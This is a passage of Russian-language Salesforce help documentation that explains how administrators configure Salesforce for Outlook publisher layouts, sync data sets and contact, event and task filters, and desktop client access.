запись», настроенные для нужных типов записей, могут быть добавлены во все
макеты публикатора без дополнительной настройки.

Чтобысоздать глобальныедействия типа «Создать запись» длянужныхтипов записей,
выполните указанные ниже действия.

1. Введите строку «Глобальные действия» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Глобальные действия».

2. Нажмите кнопку «Создать действие».

3. Выберите значение «Создать запись» в раскрывающемся списке «Тип действия».
Данное значениепозволяетотображать вменюпубликаторабоковойпанелитолькодействия типа «Создать запись».

4. Выберите нужное значение в раскрывающемся списке «Целевой объект».

Есливыбранное значениеполя «Целевойобъект» возвращаетполе «Тип записи», убедитесь, чтоданныйтипзаписи
также доступен соответствующим пользователям.
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5. Заполните поле «Метка».

6. Нажмите кнопку «Сохранить».

7. Перетащите нужные поля из редактора макетов действий.

Убедитесь, что данное действие содержит поля, помеченные как обязательные для данного типа записи в текущей
организации. При отсутствии обязательных полей на странице сведений о записи система Salesforce препятствует
сохранениюзаписейпосредствомпубликаторабоковойпанели. Обязательныеполяпомечаются краснойзвездочкой
(*).

После созданиядействийтипа «Создать запись» рекомендуемдобавить глобальныедействия в соответствующиймакет
публикатора боковой панели. При использовании версии Group Edition или Contact Manager добавьте действия в меню
публикаторабоковойпанелипользователейпосредствомредактора глобальныхмакетовпубликатора. Прииспользовании
версии Professional Edition, Enterprise Edition, Performance Edition, Unlimited Edition или Developer Edition добавьте действия в
меню публикатора боковой панели пользователей посредством редактора макетов публикатора боковой панели.

СМ. ТАКЖЕ:

Настройка пользователей для создания записей прямо на боковой панели Salesforce

Настройка макетов меню публикатора боковой панели для разных пользователей приложения Salesforce for Outlook

Настройка макетов меню публикатора боковой панели для разных пользователей приложения
Salesforce for Outlook

ВЕРСИИ

Эта функция доступна для
управления при помощи
следующих версий:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для отображения боковой
панели Salesforce:
• «Боковая панель» в

конфигурациях Outlook

Для просмотра макетов
публикатора боковой
панели:
• «Просмотр настройки»

Данный раздел описывает второй этап подготовки пользователей приложения
Salesforce for Outlook к созданиюзаписейпрямонабоковойпанели Salesforce. Рекомендуем
настроить разные меню публикатора боковой панели для конкретных пользователей
путем настройки нескольких макетов публикатора, поддерживающих разные наборы
глобальных быстрых действий.

Преждечемнастроитьмакетыпубликаторабоковойпанелидляпользователей, убедитесь,
что каждому типу записи, который должен отображаться в меню публикатора боковой
панели пользователей, соответствуют глобальные быстрые действия типа «Создать
запись».

Некоторые версии системы Salesforce позволяют создавать несколько макетов
публикатора, предоставляя пользователям с разными служебными обязанностями
возможность доступа к разным меню публикатора, поддерживающим разные наборы
быстрыхдействий. Данныйалгоритмпозволяет разнымтипампользователей создавать
только записи, соответствующие их служебным обязанностям. Например, торговым
представителям может быть разрешено создание контактов и возможностей, тогда как
менеджерам по продажам может быть разрешено создание контактов, возможностей,
обращений и интересов.

Чтобы настроить разные меню публикатора боковой панели для торговых
представителейименеджеровпопродажам, предоставьтеразнымгруппампользователей
доступ к макетам публикатора, поддерживающим конкретные наборы глобальных
действий.

1. Введитестроку «Настройки Outlook» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Настройки Outlook».

2. Найдите связанный список «Макеты публикатора Outlook» и нажмите кнопку
«Создать». Введите имя нового макета и нажмите кнопку «Сохранить».
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3. Чтобы добавить глобальные действия в новый макет, щелкните ссылку «Правка» на странице «Конфигурации
Outlook».

4. Перетащитенужныеглобальныедействиявраздел «Быстрыедействиявпубликаторе» Salesforce Classic. Дополнительную
информацию об использовании редактора макетов публикатора см. в разделе «Добавление действий в глобальные
макеты публикатора».

После добавления действий в макет публикатора рекомендуем предоставить пользователям доступ путем назначения
макетовпубликаторасоответствующимпрофилям. Прииспользованииверсии Contact Manager или Group Edition назначьте
глобальныймакетпубликаторапрофилямпользователей.Прииспользованииверсии Professional Edition, Enterprise Edition,
Performance Edition, Unlimited Edition или Developer Edition назначьте макет публикатора боковой панели профилям
пользователей.

СМ. ТАКЖЕ:

Настройка пользователей для создания записей прямо на боковой панели Salesforce

Назначение глобальных макетов публикатора профилям пользователя

Назначение макетов публикатора боковой панели Salesforce профилям пользователей

Назначение макетов публикатора боковой панели Salesforce профилям пользователей

ВЕРСИИ

Эта функция доступна для
управления при помощи
следующих версий:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для отображения боковой
панели Salesforce:
• «Боковая панель» в

конфигурациях Outlook

Для просмотра макетов
публикатора боковой
панели:
• «Просмотр настройки»

Некоторые версии системы Salesforce позволяют настраивать несколько макетов меню
публикатора боковой панели, предоставляя пользователям с разными служебными
обязанностями возможность создания разных типов записей прямо на боковой панели
Salesforce. Чтобы предоставить пользователям доступ к макету, назначьте созданный
макет профилям пользователей.

При использовании версии Contact Manager или Group Edition назначьте глобальный
макетпубликаторапрофилямпользователей.Вовсех других выпускахможноназначить
макеты издателя боковой панели Salesforce, выполнив следующиешаги.

1. Введитестроку «Настройки Outlook» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Настройки Outlook».

2. Найдите связанный список «Макеты публикатора Outlook» и последовательно
нажмите кнопки «Назначение макета публикатора» > «Редактировать
назначение».

3. Чтобывыбратьпрофильпользователя, щелкнителюбуюобласть соответствующей
строки таблицы.

4. Выберите нужный макет в раскрывающемся списке «Макет публикатора для
использования».

5. Нажмите кнопку «Сохранить».
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Определение наборов данных для Salesforce for Outlook

ВЕРСИИ

Эта функция доступна для
управления при помощи
следующих версий:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
конфигураций:
• «Просмотр настройки и

конфигурации»

Для создания,
редактирования или
удаления конфигураций:
• «Управление

конфигурациями
клиента эл. почты»

Для создания,
редактирования или
удаления наборов данных:
• Любое значение

параметра «Направление
синхронизации», кроме
«Не синхронизировать»

Набор данных — это подмножество записей Salesforce, доступных пользователям
приложенияSalesforce for Outlookдлясинхронизации. Наборыданныхсодержатфильтры,
которыеопределяютзаписидлясинхронизации.Конфигурация, длякоторойотсутствует
набор данных, не может быть синхронизирована с приложением Outlook.

Страница сведений о конфигурации Outlook содержит список текущих фильтров
конфигурации.

1. Введитестроку «Настройки Outlook» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Настройки Outlook».

2. Щелкните имя нужной конфигурации Outlook.

3. Нажмите кнопку «Правка» в связанном списке «Наборы данных».

4. Задайте фильтры.

5. Чтобы определить количество элементов, подлежащих синхронизации, проверьте
размер набора данных.

6. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Тестовые наборы данных Exchange Sync и Salesforce for Outlook

Фильтры контактов Salesforce for Outlook

Настройки Outlook и макеты публикатора Outlook

Проверка размера наборов данных Salesforce for Outlook
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Общие сведения о наборах данных для Salesforce for Outlook

ВЕРСИИ

Эта функция доступна для
управления при помощи
следующих версий:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
конфигураций:
• «Просмотр настройки и

конфигурации»

Для создания,
редактирования или
удаления конфигураций:
• «Управление

конфигурациями
клиента эл. почты»

Для создания,
редактирования или
удаления наборов данных:
• Любое значение

параметра «Направление
синхронизации», кроме
«Не синхронизировать»

Набор данных — это подмножество записей Salesforce, доступных пользователям
приложенияSalesforce for Outlookдлясинхронизации. Наборыданныхсодержатфильтры,
которые определяют записи для синхронизации.

Определение синхронизируемых записей

Приложение Salesforce for Outlook синхронизирует текущиеисвязанныезаписинаоснове
определений в наборах данных.

Общие сведения об ограничениях для наборов данных

При использовании наборов данных пользователи могут одновременно
синхронизироватьмеждуприложением Microsoft® Outlook®исистемой Salesforceнеболее
5 000 записейна одинфильтр. Вслучае превышения данногоограниченияприложение
Salesforce for Outlook выполняет синхронизациютольконекоторых записей. Кроме того,
синхронизация такого большого количества записей может сказаться на скорости ее
выполнения. Обратите внимание, что ограничение по количеству синхронизируемых
записей может быть увеличено. Однако следует помнить о возможном снижении
скорости синхронизации.

Увеличение ограничений для наборов данных

Наборыданных, содержащиеболее 5 000 записей, могутбытьдополнительнонастроены
пользователем для увеличения количества синхронизируемых записей. Для этого
рекомендуемдобавитьвнаборыданныхдополнительныефильтры. Например, выберите
значение «Выбранные контакты» в параметре «Фильтровать по ответственности за
запись» раздела «Фильтрыконтактов». Затемвыберитезначение«Записипользователя»
впараметрах «Контакты», «Контактыдлявозможностей» и «Контактыдляорганизаций».
Теперьнаборданныхсодержиттрифильтра, позволяющихсинхронизироватьнеболее
15 000 контактов.

Обратитевнимание, чтонастраиваемыефильтрымогутпропускатьвзаимоисключающие
записи. Соответственно, количество синхронизируемых записей может отличаться.
Чтобы предотвратить подобную ситуацию, рекомендуем дополнительно уточнить
группу синхронизируемых контактов. Для этого настройте дополнительные параметры в разделе «Фильтровать по
дополнительным объектам и полям».

Чтобы просмотреть количество записей по пользователям после определения фильтров, воспользуйтесь разделом
«Размер набора данных». Для этого введите имя пользователя и щелкните «Показать количество записей». Если
количествозаписейпревышаетограничениядлязаданныхфильтров, тозаписимогутбытьсинхронизированывслучайном
порядке.

Общие сведения об организациях-лицах

Если в организации включена поддержка организаций-лиц, а количество используемых записей Salesforce превышает
5 000, тонаборыданныхдействуютпо-другому. Аименно, системаSalesforceсначалавыполняетзапросдляорганизаций-лиц,
соответствующих критериям фильтрации, а затем для контактов, назначенных этим организациям. Соответственно, во
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время синхронизации может быть достигнуто установленное ограничение в 5 000 записей (включая организации-лица
и контакты), но при этом не будут синхронизированы некоторые нужные контакты.

СМ. ТАКЖЕ:

Настройка фильтров контактов для Salesforce for Outlook

Ввод фильтров событий для Exchange Sync и Salesforce for Outlook

Создание фильтров задач для Salesforce for Outlook

Проверка размера наборов данных Salesforce for Outlook

Настройка фильтров контактов для Salesforce for Outlook

ВЕРСИИ

Эта функция доступна для
управления при помощи
следующих версий:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ ПОЛЬЗОВАТЕЛЯ

«Просмотр настройки и конфигурации»Для просмотра конфигураций:

«Управление конфигурациями клиента эл.
почты»

Для создания, редактирования или удаления
конфигураций:

«Групповой сбыт возможности»Для фильтрации контактов по группам,
работающим с возможностями:

«Группы, работающие с организациями»Для фильтрации контактов по группам,
работающим с организациями:

Любое значение параметра «Направление
синхронизации», кроме «Не
синхронизировать»

Для создания, редактирования или удаления
наборов данных:

Набор данных — это подмножество записей Salesforce, доступных пользователям приложения Salesforce for Outlook для
синхронизации. Наборы данных содержат фильтры, которые определяют записи для синхронизации.Например, одни
пользователимогут синхронизировать все контакты, а другиепользователи — только контакты, связанные сих группами,
работающими с возможностями. Кроме того, записи могут быть отфильтрованы по полям. Например, пользователи
могут синхронизировать только контакты, связанные с определенными организациями и возможностями.

Страница сведений о конфигурации Outlook содержит список текущих фильтров конфигурации.

1. Определите набор данных для конфигурации.

2. Выберите контакты, доступные для синхронизации, в параметре «Фильтровать по ответственности за запись».

3. Чтобы определить контакты, доступные пользователям для синхронизации, выберите значение «Выбранные
контакты».

ЗначениеСинхронизируемые записиОбъект

Записи пользователяВсе собственные контактыКонтакты

Записи рабочей группы пользователяВсе контакты, за которые пользователь и его
подчиненные в иерархии ролей несут
ответственность
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ЗначениеСинхронизируемые записиОбъект

Записи пользователяКонтакты, связанные с возможностями
пользователя

Контакты
возможностей

Записи рабочей группы пользователяКонтакты, связанные с возможностями, за
которые пользователь и его подчиненные в
иерархии ролей несут ответственность

Записи групп пользователя, работающих с
возможностями

Контакты, связанные с возможностями, для
которых пользователь является участником
группы, работающейс возможностями, кроме
тех возможностей, за которые он несет
ответственность

Записи пользователяКонтакты, связанные с организациями
пользователя

Контакты
организаций

Записи рабочей группы пользователяКонтакты, связанные с организациями, за
которые пользователь и его подчиненные в
иерархии ролей несут ответственность

Записи групп пользователя, работающих с
организациями

Контакты, связанные с организациями, для
которых пользователь является участником
рабочей группы, кроме тех организаций, за
которые он несет ответственность

4. Добавьте нужные фильтры поля в разделе «Фильтровать по дополнительным объектам и полям».

a. Выберите объект и поле этого объекта.

b. Выберите нужный оператор фильтрации.

c. Введите значение для выбранного поля.

5. Чтобы добавить новыйфильтр, щелкните «Добавить строку». Чтобы удалить последнююстроку списка, щелкните
«Удалить строку».

6. Чтобы выполнять автоматическую синхронизацию контактов Chatter для пользователей данной конфигурации,
воспользуйтесь разделом «Другие контакты для добавления». Установите флажок «Синхронизация контактов,
отслеживаемых пользователями в Chatter».

СМ. ТАКЖЕ:

Фильтры контактов Salesforce for Outlook

Определение наборов данных для Salesforce for Outlook

Проверка размера наборов данных Salesforce for Outlook

Тестовые наборы данных Exchange Sync и Salesforce for Outlook
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Фильтры контактов Salesforce for Outlook

ВЕРСИИ

Эта функция доступна для
управления при помощи
следующих версий:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

Фильтры контактов определяют количество записей, доступных пользователям
Salesforce for Outlookдлясинхронизациимеждуприложением Outlook исистемойSalesforce.
Ниже перечислены рекомендации по использованиюфильтров контактов.

• Критерии используют оператор «И». Таким образом, при добавлении нескольких
критериев отображаются только записи, соответствующие всем критериям.

• Привводедатырекомендуемиспользоватьформат, выбранныйвпараметре «Регион».
При необходимости воспользуйтесь специальными значениями дат (например,
«СЕГОДНЯ», «СЛЕДУЮЩАЯНЕДЕЛЯ», «СЛЕДУЮЩИЙГОД» или
«ПОСЛЕДНИЕ <число> ДН.»).

• Числовыеипрочиеданные, содержащиезапятые, должныбытьзаключенывкавычки.
Например, фильтр «"Стоимость" равно "10,000"» возвращает записи со
стоимостью 10 000 долларовСША, тогдакакфильтр «"Стоимость" равно 10,000» возвращаетзаписисостоимостью
10 000, 10 и 0 долларов США.

• Оператор «меньше», «больше», «меньше или равно» или «больше или равно», используемый в числовых полях,
возвращает записи с пустыми или нулевыми значениями.

• Чтобы ограничить результаты записями, содержащими пустые или нулевые значения в отдельном поле, выберите
нужное поле и оператор «равно» или «не равно», а третье поле оставьте незаполненным. Например, фильтр
«"Стоимость" равно» возвращает записиспустымиполямистоимости. Системапозволяетвыполнятьодновременный
поиск пустых и других заданных значений. Например, запрос «"Стоимость" равно "1,,2"» возвращает записи,
поле «Стоимость» которых содержит пустое значение, значение «1» или «2».Например, критерию «"Годовой доход"
меньше чем "100 000"», созданному для фильтрации организаций, соответствуют организации с пустым полем
«Годовой доход».

• Чтобы найти нужный номер телефона, рекомендуем указывать точныйформат телефонного номера (например,
«Номер телефона начинается на (561)»).

• Separate search terms by commas to filter by more than one value.Разрешается использоватьне более 80 символов, включая
запятые и пробелы. Например, чтобы найти организации в Томской области, Новосибирской области илиМоскве,
введите запрос «"Область" содержит "Томская область","Новосибирская область","Москва"».

• Прифильтрации стандартных полей типа «Область подробного текста» (например, поле «Описание») поиск
выполняется только по первой 1 000 символов.

• Чтобы просмотреть количество записей, которое будет синхронизировано для выборочного пользователя
Salesforce for Outlook на основе фильтров конфигурации, нажмите кнопку «Показать количество записей».

• Чтобы добавить ссылку на сведения о пользователе, добавьте в фильтры контактов указанные ниже поля слияния.

ОписаниеПоле слияния

Данное поле ссылается на код текущего пользователя.
Данное поле слияния может использоваться полями,

$User.ID

предназначенными для поиска пользователей.
Допустимые операторы: «равно» и «не равно». При
создании фильтров мобильного представления,
ссылающихся на поле ответственного, разрешается
использовать только поле слияния $User.ID.

Данноеполессылаетсянарегистрационноеимятекущего
пользователя. Данноеполеслиянияможетиспользоваться

$User.Username
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ОписаниеПоле слияния

любым текстовым полем или полем поиска, кроме
раскрывающихся списков. Допустимые операторы:
«равно», «не равно», «больше или равно», «меньше или
равно», «содержит», «не содержит» и «начинается с».

Данное поле ссылается на личное имя текущего
пользователя. Данноеполеслиянияможетиспользоваться

$User.Firstname

любым текстовым полем или полем поиска, кроме
раскрывающихся списков. Допустимые операторы:
«равно», «не равно», «больше или равно», «меньше или
равно», «содержит», «не содержит» и «начинается с».

Данное поле ссылается на фамилию текущего
пользователя. Данноеполеслиянияможетиспользоваться

$User.Lastname

любым текстовым полем или полем поиска, кроме
раскрывающихся списков. Допустимые операторы:
«равно», «не равно», «больше или равно», «меньше или
равно», «содержит», «не содержит» и «начинается с».

Данное поле ссылается на имя и фамилию текущего
пользователя. Данноеполеслиянияможетиспользоваться

$User.Fullname

любым текстовым полем или полем поиска, кроме
раскрывающихся списков. Допустимые операторы:
«равно», «не равно», «больше или равно», «меньше или
равно», «содержит», «не содержит» и «начинается с».

СМ. ТАКЖЕ:

Настройка фильтров контактов для Salesforce for Outlook

Определение наборов данных для Salesforce for Outlook

Проверка размера наборов данных Salesforce for Outlook
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Ввод фильтров событий для Exchange Sync и Salesforce for Outlook

ВЕРСИИ

Эта функция доступна для
управления при помощи
следующих версий:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
конфигураций:
• «Просмотр настройки и

конфигурации»

Для создания,
редактирования или
удаления конфигураций:
• «Управление

конфигурациями
клиента эл. почты»

Для создания,
редактирования или
удаления наборов данных:
• Любое значение

параметра «Направление
синхронизации», кроме
«Не синхронизировать»

Набор данных — это подмножество записей Salesforce, доступных пользователям
приложенияSalesforce for Outlookдлясинхронизации. Наборыданныхсодержатфильтры,
которые определяют записи для синхронизации.Например, одни пользователи могут
синхронизироватьтолькотекущиеибудущиесобытия, тогда какдругиепользователи —
еще и прошедшие события.Приложение Salesforce for Outlook синхронизирует события
на основе их конечных, а не начальных дат. Например, при синхронизации текущих и
будущихсобытийтакжевыполняетсясинхронизациядвухдневныхсобытий, выполнение
которых началось вчера.

Раздел «Наборыданных» настраницесведенийоконфигурации Outlook содержитсписок
текущих фильтров событий для конфигурации.

1. Определите набор данных для конфигурации.

2. Выберите один из указанных нижефильтров в поле «Больше или равно» раздела
«События».

• «СЕГОДНЯ»: синхронизациясобытий, которыезавершаютсясегодняилипозже.
Время начала — 00:00.

• «ПРОШЛЫЙ МЕСЯЦ»: синхронизациясобытий, которыезавершилисьвпервый
день прошлого месяца или позже.

• «ПОСЛЕДНИЕ N ДН.»: синхронизация событий, которые завершились
указанное количество дней назад или позже (например, «ПОСЛЕДНИЕ 30

ДН.»).

3. Чтобы просмотреть количество записей, которое будет синхронизировано для
выборочногопользователя Salesforce for Outlookна основефильтров конфигурации,
нажмите кнопку «Показать количество записей».

4. Сохраните набор данных.

Прим.: Синхронизации не подлежат: события на весь день, начинающиеся в
первый день синхронизации; участники события. Многодневные события
синхронизируются как отдельные события в обоих направлениях.Многодневные
события не синхронизируются.

СМ. ТАКЖЕ:

Тестовые наборы данных Exchange Sync и Salesforce for Outlook

Проверка размера наборов данных Salesforce for Outlook

Синхронизация событий с помощью Salesforce for Outlook
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Создание фильтров задач для Salesforce for Outlook

ВЕРСИИ

Эта функция доступна для
управления при помощи
следующих версий:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
конфигураций:
• «Просмотр настройки и

конфигурации»

Для создания,
редактирования или
удаления конфигураций:
• «Управление

конфигурациями
клиента эл. почты»

Для создания,
редактирования или
удаления наборов данных:
• Любое значение

параметра «Направление
синхронизации», кроме
«Не синхронизировать»

Пользователимогутопределятьзадачи, подлежащиесинхронизациимеждуприложением
Microsoft® Outlook® и системой Salesforce, для групп сбыта.

Набор данных — это подмножество записей Salesforce, доступных пользователям
приложенияSalesforce for Outlookдлясинхронизации. Наборыданныхсодержатфильтры,
которые определяют записи для синхронизации.Например, одни пользователи могут
синхронизировать просроченные задачи, тогда как другие пользователи — только
текущиеи будущие задачи.Приложение Salesforce for Outlook синхронизирует задачина
основе их крайних сроков, а не начальных дат.Например, при синхронизации текущих
ибудущихзадачтакжевыполняетсясинхронизациязадач, выполнениекоторыхначалось
вчера.

Раздел «Наборыданных» настраницесведенийоконфигурации Outlook содержитсписок
текущих фильтров задач для конфигурации.

1. Определите набор данных для конфигурации.

2. Выберите один из указанных нижефильтров в поле «Больше или равно» раздела
«Задачи».

• «СЕГОДНЯ»: синхронизация задач с крайним сроком сегодняилипозже. Время
начала — 00:00.

• «ПРОШЛЫЙ МЕСЯЦ»: синхронизация задач с крайним сроком в первый день
прошлого месяца или позже.

• «ПОСЛЕДНИЕ N ДН.»: синхронизация задач с крайним сроком в указанное
количество дней назад или позже (например, «ПОСЛЕДНИЕ 30 ДН.»).

3. Определите необходимость синхронизации повторяющихся задач Salesforce с
приложением Outlook.

4. Чтобы просмотреть количество записей, которое будет синхронизировано для выборочного пользователя
Salesforce for Outlook на основе фильтров конфигурации, нажмите кнопку «Показать количество записей».

5. Сохраните набор данных.

Прим.: Приложение Salesforce for Outlook позволяет синхронизировать только некоторые типы задач.Ниже
перечислены несинхронизируемые типы задач.

• Повторяющиеся задачи Outlook (при синхронизации с системой Salesforce)

• Выполненныезадачи (приусловии, чтозадачипомечаютсякаквыполненныепередсинхронизациейпосредством
приложения Salesforce for Outlook)
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• Задачи, создаваемые автоматически при назначении сообщению эл. почты или контакту пометки для
последующего выполнения

СМ. ТАКЖЕ:

Настройки Outlook и макеты публикатора Outlook

Синхронизация задач с помощью Salesforce for Outlook

Тестовые наборы данных Exchange Sync и Salesforce for Outlook

Тестовые наборы данных Exchange Sync и Salesforce for Outlook

ВЕРСИИ

Эта функция доступна для
управления при помощи
следующих версий:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: все
версии.

Многие администраторы создают конфигурации синхронизации на основе позиций
организации, так как пользователи одной роли, как правило, предъявляют похожие
требования к синхронизацииданных. Нижепредставленытестовыенаборыданныхдля
общих групп Salesforce. Несмотря на уникальные требования, предъявляемые
пользователями Salesforce for Outlook и Exchange Sync, данные примеры позволяют
пользователям начать создание конфигураций Outlook (для пользователей
Salesforce for Outlook) и конфигураций Exchange Sync (для пользователей Exchange Sync).

Менеджер по продажам
Как правило, менеджерам по продажам требуется просмотр собственных записей и
записейихподчиненных. Крометого, имтребуетсяпросмотрпоследнихконтактных
данных для любого пользователя, связанного с текущими крупными сделками, и
любых связанных предстоящих встреч. Также им могут требоваться контакты Chatter в Outlook.

Пример конфигурации Outlook для менеджеров по продажам:

Contacts
Contacts: User's Records, User's Team's Records
Contacts on Opportunities: User's Team's Records
Contacts on Accounts: User's Team's Records
Contacts in Chatter: Records User is Following

Events
Events: User's Records
Date greater or equal TODAY

Tasks
Tasks: User's Records
Date greater or equal TODAY

Специалист по продажам
Как правило, специалистам по продажам требуются только собственные контакты и контакты других участников
рабочих групп. Также иммогут требоваться контакты Chatter, результаты встреч за прошлыймесяц и расписание всех
будущих встреч.

Пример конфигурации Outlook для специалистов по продажам:

Contacts
Contacts: User's Records
Contacts on Opportunities: User's Opportunity Teams' Records
Contacts in Chatter: Records User is Following

Events
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Events: User's Records
Date greater or equal LAST MONTH

Tasks
Tasks: User's Records
Date greater or equal LAST MONTH

Менеджер по работе с клиентами
Менеджерам по работе с клиентами требуется просмотр контактов, связанных с организациями и возможностями.
Фильтрация возможностей позволяет синхронизировать только контакты, связанные с открытыми возможностями,
вероятность которых составляет более 40%. Также им может требоваться синхронизация контактов Chatter, всех
будущих встреч и всех встреч за последние два месяца.

Пример конфигурации Outlook для менеджеров по работе с клиентами:

Contacts
Contacts on Opportunities: User's Records
(Probability (%) greater than 40) AND (Stage not equal to Closed Won,Closed Lost
Contacts on Accounts: User's Records
Contacts in Chatter: Records User is Following

Events
Events: User's Records
Date greater or equal LAST 60 DAYS

Tasks
Tasks: User's Records
Date greater or equal LAST 60 DAYS

СМ. ТАКЖЕ:

Определение наборов данных для Salesforce for Outlook
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Проверка размера наборов данных Salesforce for Outlook

ВЕРСИИ

Эта функция доступна для
управления при помощи
следующих версий:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра наборов
данных Outlook:
• «Просмотр настройки и

конфигурации»

Для тестирования наборов
данных Outlook:
• «Управление

конфигурациями
клиента эл. почты»

Чтобы просмотреть количество записей, которое будет синхронизировано для
выборочного пользователя Salesforce for Outlook на основе фильтров конфигурации,
нажмите кнопку «Показать количество записей». Если количество записей не
соответствует минимальному или максимальному ограничению, настройтефильтры и
повторнопроверьтеразмер. Максимальноеколичествосоставляет 5 000 записейнаодин
объект.

1. Определите набор данных для конфигурации.

2. Щелкните значок поиска напротив поля «Пользователь» в разделе «Размер набора
данных».

3. Выберите пользователя. Чтобы протестировать максимальный размер, выберите
пользователя снаибольшимколичествомзаписей, даже еслионненазначенданной
конфигурации.

4. Нажмите кнопку «Показать количество записей». При этом отображается
количество записей, доступных для синхронизации между приложением Outlook и
системой Salesforce.

5. Принеобходимости настройтефильтры или измените выбранного пользователя и
повторите тестирование набора данных. Чтобы сохранить внесенные изменения,
нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Определение наборов данных для Salesforce for Outlook

Отслеживание используемых версий приложения Salesforce for Outlook

ВЕРСИИ

Эта функция доступна для
управления при помощи
следующих версий:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для запуска отчетов:
• «Запуск отчетов»

Отчет «Журнал входов» позволяет быстро просматривать используемые версии
приложения Salesforce for Outlook.

1. Введите строку «Журнал входов» в поле «Быстрый поиск» в меню «Настройка» и
выберите «Журнал входов».
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2. Чтобы просмотреть версию приложения Salesforce for Outlook для каждого пользователя, воспользуйтесь столбцами
«Приложение» и «Версия клиента».

СМ. ТАКЖЕ:

ПО для настольных ПК Salesforce для Outlook

Удаление Connect for Outlook

Connect for Outlook (больше не поддерживается)
Приложение Connect for Outlook больше не поддерживается, поэтому мы рекомендуем вам ознакомиться со следующими
продуктами Microsoft для интеграции на базе облаков или настольных компьютеров: приложение Salesforce для Outlook
или Salesforce for Outlook.
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Важное замечание: Начиная с зимы 2016 года мы прекращаем использование приложения Connect for Outlook. Это
означает, что продукт не сохраняет сообщения эл. почты и не синхронизирует контакты, события и задачи между
приложением Microsoft® Outlook® и системой Salesforce.

Не волнуйтесь! Для повышения производительности рекомендуем перейти к приложению Salesforce для Outlook
или Salesforce for Outlook. Обратитесь к администратору системы Salesforce, который поможет вам выбрать продукт,
наиболее подходящий для вашей работы.

СМ. ТАКЖЕ:

Как удалить приложение Connect for Outlook?

https://help.salesforce.com/HTViewSolution?id=000204943

Как удалить приложение Connect for Outlook?

Какое приложение интеграции электронной почты Microsoft® подходит для моей компании?

Как удалить приложение Connect for Outlook?

Важное замечание: Начиная с зимы 2016 года мы прекращаем использование приложения Connect for Outlook. Это
означает, что продукт не сохраняет сообщения эл. почты и не синхронизирует контакты, события и задачи между
приложением Microsoft® Outlook® и системой Salesforce.

Не волнуйтесь! Для повышения производительности рекомендуем перейти к приложению Salesforce для Outlook
или Salesforce for Outlook. Обратитесь к администратору системы Salesforce, который поможет вам выбрать продукт,
наиболее подходящий для вашей работы.

1. Закройте приложение Microsoft® Outlook®.

2. Откройте панель управления Windows®.

3. Выберите параметр удаления программ.

4. Найдите программу Salesforce Outlook Edition и выполните инструкции по ее удалению.

СМ. ТАКЖЕ:

https://help.salesforce.com/HTViewSolution?id=000204943

Какое приложение интеграции электронной почты Microsoft® подходит для моей компании?
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Connect Offline

Доступ к настольному клиенту

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Connect Offline и Connect for Office — это настольные клиентские приложения,
позволяющие интегрировать систему Salesforce в компьютер пользователя.
Администратор может выбрать настольные клиентские приложения, которые должны
бытьдоступныпользователям, а такженастроитьавтоматическиеуведомленияоналичии
обновлений. Чтобы задать полномочия для приложения Salesforce for Outlook,
воспользуйтесь полномочием «Управление конфигурациями клиента эл. почты».

Чтобы настроить уровень доступа пользователей к настольному клиентскому
приложению, измените их профили.

Ниже перечислены параметры доступа к клиенту для рабочего стола.

ЗначениеПараметр

Соответствующая страница загрузки клиентского
приложения в личных параметрах пользователей

Выключено (доступ запрещен)

не отображается. Кроме того, клиентское
приложение не может использоваться для входа.

Соответствующая страница загрузки клиентского
приложения в личных параметрах пользователей

Включено, без обновлений

не отображается. Клиентское приложение может
использоваться для входа, но не поддерживает
обновление текущей версии.

Клиентское приложение может быть загружено,
обновлено и использоваться для входа, но не

Включено, обновления без
предупреждений

поддерживает отображение предупреждений о
наличии новой версии.

Клиентское приложение может быть загружено,
обновленоииспользоватьсядля входа. Кроме того,

Включено, обновления с
предупреждениями

приложение поддерживает отображение
предупреждений, которыемогутбытьпросмотрены
или пропущены.

Клиентское приложение может быть загружено,
обновленоииспользоватьсядля входа. Кроме того,

Включено, обновления с
предупреждениями обязательны

приложение поддерживает отображение
предупреждения о наличии новой версии.
Клиентскоеприложениеможетиспользоватьсядля
входа только после обновления текущей версии.

Версия Developer Edition поддерживает толькоприложение Connect Offline. Поумолчаниювсепользователиверсий Personal
Edition, Group Edition и Professional Edition используют значение «Включено, обновления без предупреждений» для всех
клиентских приложений.
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Прим.:

• Доступ к клиенту для рабочего стола предоставляется только пользователям, профили которых содержат
полномочие «API включен».

Еслипользователимогутпросматриватьпредупрежденияивыполняливходв систему Salesforceпосредствомклиентского
приложения ранее, то предупреждение о наличии новой версии автоматически отображается на вкладке «Начальная
